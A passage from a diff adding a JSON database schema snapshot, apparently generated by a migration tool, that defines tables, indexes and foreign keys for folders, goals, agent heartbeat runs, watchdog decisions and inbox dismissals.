"parent_id": { + "name": "parent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "system_key": { + "name": "system_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "folders_company_kind_position_idx": { + "name": "folders_company_kind_position_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "folders_company_kind_root_slug_uq": { + "name": "folders_company_kind_root_slug_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"folders\".\"parent_id\" is null", + "concurrently": false + }, + "folders_company_kind_parent_slug_uq": { + "name": "folders_company_kind_parent_slug_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"folders\".\"parent_id\" is not null", + "concurrently": false + }, + "folders_company_kind_system_key_uq": { + "name": "folders_company_kind_system_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "system_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"folders\".\"system_key\" is not null", + "concurrently": false + }, + "folders_company_kind_parent_position_idx": { + "name": "folders_company_kind_parent_position_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "folders_company_id_companies_id_fk": { + "name": "folders_company_id_companies_id_fk", + "tableFrom": "folders", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "folders_parent_id_folders_id_fk": { + "name": "folders_parent_id_folders_id_fk", + "tableFrom": "folders", + "columnsFrom": [ + "parent_id" + ], + "tableTo": "folders", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "restrict" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.goals": { + "name": "goals", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "level": { + "name": "level", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'task'" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'planned'" + }, + "parent_id": { + "name": "parent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "owner_agent_id": { + "name": "owner_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "goals_company_idx": { + "name": "goals_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "goals_company_id_companies_id_fk": { + "name": "goals_company_id_companies_id_fk", + "tableFrom": "goals", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "goals_parent_id_goals_id_fk": { + "name": "goals_parent_id_goals_id_fk", + "tableFrom": "goals", + "columnsFrom": [ + "parent_id" + ], + "tableTo": "goals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "goals_owner_agent_id_agents_id_fk": { + "name": "goals_owner_agent_id_agents_id_fk", + "tableFrom": "goals", + "columnsFrom": [ + "owner_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.heartbeat_run_events": { + "name": "heartbeat_run_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "bigserial", + "primaryKey": true, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "seq": { + "name": "seq", + "type": "bigint", + "primaryKey": false, + "notNull": true + }, + "event_type": { + "name": "event_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stream": { + "name": "stream", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "level": { + "name": "level", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "source_instance_id": { + "name": "source_instance_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_event_id": { + "name": "source_event_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_seq": { + "name": "source_seq", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "source_payload_sha256": { + "name": "source_payload_sha256", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "protocol_schema_version": { + "name": "protocol_schema_version", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "heartbeat_run_events_run_seq_idx": { + "name": "heartbeat_run_events_run_seq_idx", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_run_events_run_source_event_uq": { + "name": "heartbeat_run_events_run_source_event_uq", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_event_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"heartbeat_run_events\".\"source_event_id\" is not null", + "concurrently": false + }, + "heartbeat_run_events_run_source_seq_uq": { + "name": "heartbeat_run_events_run_source_seq_uq", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_instance_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_seq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"heartbeat_run_events\".\"source_instance_id\" is not null and \"heartbeat_run_events\".\"source_seq\" is not null", + "concurrently": false + }, + "heartbeat_run_events_company_run_idx": { + "name": "heartbeat_run_events_company_run_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_run_events_company_created_idx": { + "name": "heartbeat_run_events_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "heartbeat_run_events_company_id_companies_id_fk": { + "name": "heartbeat_run_events_company_id_companies_id_fk", + "tableFrom": "heartbeat_run_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "heartbeat_run_events_run_id_heartbeat_runs_id_fk": { + "name": "heartbeat_run_events_run_id_heartbeat_runs_id_fk", + "tableFrom": "heartbeat_run_events", + "columnsFrom": [ + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "heartbeat_run_events_agent_id_agents_id_fk": { + "name": "heartbeat_run_events_agent_id_agents_id_fk", + "tableFrom": "heartbeat_run_events", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.heartbeat_run_watchdog_decisions": { + "name": "heartbeat_run_watchdog_decisions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "evaluation_issue_id": { + "name": "evaluation_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "decision": { + "name": "decision", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "snoozed_until": { + "name": "snoozed_until", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "heartbeat_run_watchdog_decisions_company_run_created_idx": { + "name": "heartbeat_run_watchdog_decisions_company_run_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_run_watchdog_decisions_company_run_snooze_idx": { + "name": "heartbeat_run_watchdog_decisions_company_run_snooze_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "snoozed_until", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "heartbeat_run_watchdog_decisions_company_id_companies_id_fk": { + "name": "heartbeat_run_watchdog_decisions_company_id_companies_id_fk", + "tableFrom": "heartbeat_run_watchdog_decisions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk": { + "name": "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk", + "tableFrom": "heartbeat_run_watchdog_decisions", + "columnsFrom": [ + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk": { + "name": "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk", + "tableFrom": "heartbeat_run_watchdog_decisions", + "columnsFrom": [ + "evaluation_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk": { + "name": "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk", + "tableFrom": "heartbeat_run_watchdog_decisions", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk": { + "name": "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "heartbeat_run_watchdog_decisions", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.heartbeat_runs": { + "name": "heartbeat_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "invocation_source": { + "name": "invocation_source", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'on_demand'" + }, + "trigger_detail": { + "name": "trigger_detail", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'queued'" + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "wakeup_request_id": { + "name": "wakeup_request_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "exit_code": { + "name": "exit_code", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "signal": { + "name": "signal", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "usage_json": { + "name": "usage_json", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "result_json": { + "name": "result_json", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "runtime_mode": { + "name": "runtime_mode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'legacy'" + }, + "runtime_mode_resolver_version": { + "name": "runtime_mode_resolver_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "runtime_mode_reason": { + "name": "runtime_mode_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "runtime_mode_resolved_at": { + "name": "runtime_mode_resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "runner_profile_json": { + "name": "runner_profile_json", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "runner_instance_id": { + "name": "runner_instance_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "native_session_id": { + "name": "native_session_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "native_issue_id": { + "name": "native_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "driver_kind": { + "name": "driver_kind", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driver_version": { + "name": "driver_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "completion_contract_id": { + "name": "completion_contract_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "completion_contract_sha256": { + "name": "completion_contract_sha256", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "next_event_seq": { + "name": "next_event_seq", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "native_phase": { + "name": "native_phase", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "native_phase_updated_at": { + "name": "native_phase_updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "session_id_before": { + "name": "session_id_before", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id_after": { + "name": "session_id_after", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "log_store": { + "name": "log_store", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "log_ref": { + "name": "log_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "log_bytes": { + "name": "log_bytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "log_sha256": { + "name": "log_sha256", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "log_compressed": { + "name": "log_compressed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "stdout_excerpt": { + "name": "stdout_excerpt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stderr_excerpt": { + "name": "stderr_excerpt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_code": { + "name": "error_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "external_run_id": { + "name": "external_run_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "process_pid": { + "name": "process_pid", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "process_group_id": { + "name": "process_group_id", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "process_started_at": { + "name": "process_started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_output_at": { + "name": "last_output_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_output_seq": { + "name": "last_output_seq", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_output_stream": { + "name": "last_output_stream", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_output_bytes": { + "name": "last_output_bytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "retry_of_run_id": { + "name": "retry_of_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "process_loss_retry_count": { + "name": "process_loss_retry_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "scheduled_retry_at": { + "name": "scheduled_retry_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "scheduled_retry_attempt": { + "name": "scheduled_retry_attempt", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "scheduled_retry_reason": { + "name": "scheduled_retry_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "issue_comment_status": { + "name": "issue_comment_status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'not_applicable'" + }, + "issue_comment_satisfied_by_comment_id": { + "name": "issue_comment_satisfied_by_comment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_comment_retry_queued_at": { + "name": "issue_comment_retry_queued_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "liveness_state": { + "name": "liveness_state", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "liveness_reason": { + "name": "liveness_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "continuation_attempt": { + "name": "continuation_attempt", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_useful_action_at": { + "name": "last_useful_action_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "next_action": { + "name": "next_action", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "context_snapshot": { + "name": "context_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "heartbeat_runs_company_agent_started_idx": { + "name": "heartbeat_runs_company_agent_started_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_runs_company_responsible_user_idx": { + "name": "heartbeat_runs_company_responsible_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "responsible_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_runs_company_liveness_idx": { + "name": "heartbeat_runs_company_liveness_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "liveness_state", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_runs_company_status_last_output_idx": { + "name": "heartbeat_runs_company_status_last_output_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "last_output_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_runs_company_status_process_started_idx": { + "name": "heartbeat_runs_company_status_process_started_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "process_started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_runs_company_created_at_desc_idx": { + "name": "heartbeat_runs_company_created_at_desc_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": false, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_runs_company_ctx_issue_created_idx": { + "name": "heartbeat_runs_company_ctx_issue_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "(\"context_snapshot\" ->> 'issueId')", + "isExpression": true, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": false, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_runs_company_ctx_task_created_idx": { + "name": "heartbeat_runs_company_ctx_task_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "(\"context_snapshot\" ->> 'taskId')", + "isExpression": true, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": false, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "heartbeat_runs_company_ctx_taskkey_created_idx": { + "name": "heartbeat_runs_company_ctx_taskkey_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "(\"context_snapshot\" ->> 'taskKey')", + "isExpression": true, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": false, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "heartbeat_runs_company_id_companies_id_fk": { + "name": "heartbeat_runs_company_id_companies_id_fk", + "tableFrom": "heartbeat_runs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "heartbeat_runs_agent_id_agents_id_fk": { + "name": "heartbeat_runs_agent_id_agents_id_fk", + "tableFrom": "heartbeat_runs", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk": { + "name": "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk", + "tableFrom": "heartbeat_runs", + "columnsFrom": [ + "wakeup_request_id" + ], + "tableTo": "agent_wakeup_requests", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk": { + "name": "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk", + "tableFrom": "heartbeat_runs", + "columnsFrom": [ + "retry_of_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "heartbeat_runs_company_native_issue_id_uq": { + "name": "heartbeat_runs_company_native_issue_id_uq", + "columns": [ + "company_id", + "native_issue_id", + "id" + ], + "nullsNotDistinct": false + }, + "heartbeat_runs_company_native_issue_contract_id_uq": { + "name": "heartbeat_runs_company_native_issue_contract_id_uq", + "columns": [ + "company_id", + "native_issue_id", + "id", + "completion_contract_id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.inbox_dismissals": { + "name": "inbox_dismissals", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "item_key": { + "name": "item_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'dismiss'" + }, + "dismissed_at": { + "name": "dismissed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "snoozed_until": { + "name": "snoozed_until", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "inbox_dismissals_company_user_idx": { + "name": "inbox_dismissals_company_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "inbox_dismissals_company_item_idx": { + "name": "inbox_dismissals_company_item_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "item_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "inbox_dismissals_company_user_item_idx": { + "name": "inbox_dismissals_company_user_item_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "item_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "inbox_dismissals_company_id_companies_id_fk": { + "name": "inbox_dismissals_company_id_companies_id_fk", + "tableFrom": "inbox_dismissals", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } 